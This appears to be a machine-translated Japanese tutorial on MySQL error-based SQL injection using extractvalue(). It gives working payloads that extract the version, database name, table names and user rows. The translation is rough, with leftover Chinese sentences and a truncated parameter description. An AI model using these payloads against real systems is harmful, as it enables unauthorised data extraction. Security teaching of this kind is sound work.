mysql では、エラー挿入とは、ページ上で報告されたエラー情報を通じて必要なデータを取得するための適切なステートメントを構築することを指します。アプリケーション システムがデータベース エラー関数を閉じない場合は、extractvalue() 関数を使用できます。ターゲットから必要なデータを取得します。クエリされた値を含む文字列が XML で返されます。
このチュートリアルの動作環境: Windows10 システム、mysql8.0.22 バージョン、Dell G3 コンピューター。
エラー挿入は、ブラインド インジェクションの一種とも言えます。情報がエラー プロンプトを通じてエコーされるようにペイロードを構築します。共同クエリで明確な位置を明らかにできない場合は、エラー挿入の使用を検討できます。
では、エラー挿入はどのように形成されるのでしょうか?
まず第一に、アプリケーション システムはデータベース エラー報告機能を閉じていません。一部の SQL ステートメント エラーについては、ページ上に直接エコーされ、データベース名やテーブル名が直接漏洩するものもあります。 ;
第二に、MySQL の対応するエラー報告機能がバックグラウンドでフィルタリングされないことが重要です。
ここで使用しますextractvalue() 関数。ターゲットから値を抽出する関数です。 クエリされた値を含む文字列を XML
で返します。 EXTRACTVALUE (XML_document, XPath_string): 最初のパラメータ: XML_document は文字列形式です。 XML ドキュメント オブジェクトの名前; 2 番目のパラメータ: String)
1. バージョン情報の取得
ステートメント 1' と extractvalue(1 ,concat(0x7e,(@@バージョンを選択), 0x7e))-- 。このうち concat は concatenation() のパラメータ、0x7e はデコード後の ~ 記号です。 -- はコメント文字です。エラーを避けるために、ソース コード内の後続のステートメントをすべてコメント化します。テスト後の結果は次のとおりです。
// concat の前の 1 は、extractvalue() 関数の最初のパラメータであり、任意の数値
に置き換えることができます。 // ステートメントの 2 番目の 0x7e は省略できます
2. データベース名を取得します
ステートメントを使用します
1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,
3. テーブル名を取得します
1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示
4. データを取得します
1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容
推奨学習: mysql ビデオ チュートリアル
以上がmysqlエラーインジェクションとは何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。